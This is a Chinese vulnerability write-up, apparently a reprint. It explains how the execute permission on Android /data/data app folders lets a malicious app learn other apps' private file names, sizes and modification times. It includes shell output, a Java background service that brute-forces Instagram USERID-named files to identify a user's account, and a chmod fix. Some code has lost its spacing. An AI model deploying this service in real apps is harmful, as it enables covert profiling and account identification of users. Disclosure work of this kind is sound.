前言
下面要介绍的恶意软件可以读取Android手机中其他app的文件元数据，例如文件的名称、大小、以及最后修改日期等等。如果文件名中含有敏感信息的标识，那么这款恶意app会将这份文件识别为敏感文件，并且还可以对其进行暴力破解攻击。除此之外，它还可以通过分析其他app私有文件的大小和最后修改日期这两部分数据，来对其他app的使用情况进行实时监控。
实际上，从Android操作系统的诞生之日起，其文件系统中就一直存在着权限问题。当我将该漏洞提交给Google公司之后，Google将这一漏洞归类为了“低危漏洞”，并且给我提供了五百美元的漏洞奖金。
我写这篇文章的目的只是为了抛砖引玉，希望能给大家提供一个关于处理Android安全问题的思路。
问题分析
Android App的私有数据默认会保存在“/data/data/”目录下，其他的App没有权限访问存储在该目录下的数据。接下来，我们用Youtube App来举个例子。
Android端的Youtube应用程序会将其私有数据保存在目录“/data/data/com.google.android.youtube/”之下。现在，让我们从根目录开始分析一下整个文件系统中各个文件的权限：
/data/drwxrwx--x system system 2015-11-30 20:30data
/data/data/drwxrwx--x system system 2015-11-29 15:34data
/data/data/com.google.android.youtube
drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube
/data/data/com.google.android.youtube/*
drwxrwx--x u0_a77 u0_a77 2015-11-08 18:15app_sslcache
drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54cache
drwxrwx--x u0_a77 u0_a77 2015-11-29 13:06 databases
drwxrwx--x u0_a77 u0_a77 2015-11-12 12:10files
lrwxrwxrwx install install 2015-11-29 11:02lib -> /data/app-lib/com.google.android.youtube-1
drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54shared_prefs
我们可以从上面这部分信息中看到，在整个目录结构中，每一个文件目录都给设备用户提供了完整的执行权限（+x）。
而我们也知道，所谓的执行权限，就是允许设备用户可以直接运行目标文件的权限。如果将该权限赋予了某一文件目录的话，也就意味着用户只要知道文件夹下具体的文件名，可以直接通过文件名来访问该目录下的文件内容和元数据。但此时还无法直接进入文件夹，以及访问该目录下的文件数据，因为这样的操作将需要相应的读取权限。
分析结果表明：其他的用户可以使用“cd”命令来进入这些目录，但是无法通过“ls”命令来获取该目录下的所有文件（没有读取权限）。当然了，用户也无法直接在该目录下创建新的文件，因为这将需要文件目录的写入权限（+w）：
u0_a84@mako:/data/data $ ls -la
opendir failed, Permission denied
u0_a84@mako:/data/data $ cd com.google.android.youtube
u0_a84@mako:/data/data/com.google.android.youtube $ ls -la
opendir failed, Permission denied
u0_a84@mako:/data/data/com.google.android.youtube $ cdwrongdir
/system/bin/sh: [22]: cd:/data/data/com.google.android.youtube/wrongdir: No such file or directory
u0_a84@mako:/data/data/com.google.android.youtube $ cdshared_prefs
u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la
opendir failed, Permission denied
u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ echo “test” >test.xml
/system/bin/sh: [31]: can't create test.xml:Permission denied
但是，如上所述，如果我们能够提前获取到目标文件的名称，那么我们就可以列出该文件，并获取目标文件的元数据了。接下来，我们还是继续分析Youtube App。在默认情况下，该App会在“/data/data/com.google.android.youtube/” 目录下的“shared_prefs”文件夹中生成一个名为“youtube.xml”的文件。虽然很多其他的App可以列出这个文件，但是由于权限的问题，所以这些App是无法读取这份文件的：
u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la youtube.xml
-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml
u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ cat youtube.xml
/system/bin/sh: [28]: cat: youtube.xml:Permission denied
正如上面这段信息所示，任何恶意App都可以做到下面这两件事情：
- 通过“ls”命令来查看其他App的某些私有文件是否存在于文件系统中，但前提是要知道目标文件的文件名称；
- 获取到这些私有文件的大小和最后修改日期；
这绝对是一个安全漏洞，因为我们可以通过以下两种不同的方式来利用这个漏洞：
- 恶意App可以可以通过监视特定的私有文件来实时监控某些App的使用情况。比如说，如果恶意App想要知道Android设备的用户一般在何时打开Youtube客户端，那么它就可以定期检查Youtube客户端“shared_prefs”目录下的“youtube.xml”文件，并从获取到的文件大小和最后修改日期来判断用户的使用习惯。因为当用户打开Youtube客户端时，这个文件将会被修改。因此，恶意App还可以通过这个漏洞来分析某些应用程序的使用情况。
- 如果某个合法的App选择将敏感数据保存在一个文件中，而文件名称一看就知道是用来存储敏感数据的话，那么恶意App就可以选择对该文件进行暴力破解攻击。比如说，Instagram和Facebook会使用用户ID（USERID）来标识某些敏感文件。不光是这两个App，很多其他的App也会采用这样的方式来处理敏感文件，这种情况我已经见过很多次了。
Instagram:/data/data/com.instagram.android/shared_prefs/.xml
Facebook:/data/data/com.facebook.katana/shared_prefs/XStorage-LATEST-.xml
比如说Instagram，用户ID标识符（USERID）的范围在0-2500000000之间，所以恶意App可以通过暴力破解的手段直接在本地发动攻击。恶意App可以利用下面这段Android代码来在后台对用户标识符进行暴力破解攻击：
import java.io.File;
import java.math.BigInteger;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.util.Log;
public class MyService extends Service {
@Override
public intonStartCommand(Intent intent, int flags, int startId) {
newThread(new Runnable() {
publicvoid run() {
Log.v("brute", "Bruteforce started");
BigInteger begin = BigInteger.ZERO;
BigInteger end = new BigInteger("2500000000");
String dirPath ="/data/data/com.instagram.android/shared_prefs/";
while(begin.compareTo(end) != 1) {
String filename= begin.toString() + ".xml";
File test = newFile(dirPath,filename);
if(test.exists()) {
Log.v("brute", "Account found: " +begin.toString());
}
begin =begin.add(BigInteger.ONE);
}
Log.v("brute", "Bruteforce ended");
}
}).start();
returnService.START_STICKY;
}
@Override
public IBinderonBind(Intent intent) {
//TODO Auto-generated method stub
returnnull;
}
}
当上面这段代码所加载的服务被开启之后，恶意App将会被关闭，在后台进行暴力破解攻击的任务就转交给了这个服务来进行。我们在Nexus4手机上进行了攻击模拟，我们遍历了2500000000个可能的文件，总共花费了五天左右的时间，最终成功找到了正确的文件：
当用户感染了这一恶意软件之后，攻击者就可以通过这样的方式来获取到用户的网络服务ID，进而查找出用户的账号。受影响的可能是Facebook、QQ、Youtube、以及微信这样的社交媒体类App，也有可能是金融类的银行App。值得注意的是，Instagram还包含有一个ContentProvider（com.instagram.contentprovider.CurrentUserProvider），可以用来查询用户注册账号的USERID，但是默认情况下Instagram是禁止其他App使用这个ContentProvider的。
但是很明显，Instagram这样做的目的肯定不是为了将用户的敏感数据泄露给其他的App。
这个漏洞是我当初在检测InstagramApp的时候发现的，如果大家对Instagram客户端中存在的其他安全问题感兴趣的话，欢迎各位同学阅读这篇文章［传送门］。
解决方案
这个问题其实也很好解决，我们只需要移除“/data/data/”目录下App文件夹的执行权限（+x），就可以解决这个问题了，这样也可以有效地防止攻击者通过“cd”命令和“ls”命令来获取文件目录下的文件基本信息。
修复前的状态：
u0_a84@mako:/data/data $ cd com.google.android.youtube
u0_a84@mako:/data/data/com.google.android.youtube $ cd ..
u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml
-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml
修复过程：
root@mako:/data/data # ls -la | grep youtube
drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube
root@mako:/data/data # chmod 750com.google.android.youtube
root@mako:/data/data # ls -la | grep youtube
drwxr-x--- u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube
修复后的状态：
u0_a84@mako:/data/data $ cd com.google.android.youtube
/system/bin/sh: [25]: cd:/data/data/com.google.android.youtube: Permission denied
u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml
com.google.android.youtube/shared_prefs/youtube.xml:Permission denied
本文转自d1net（转载）
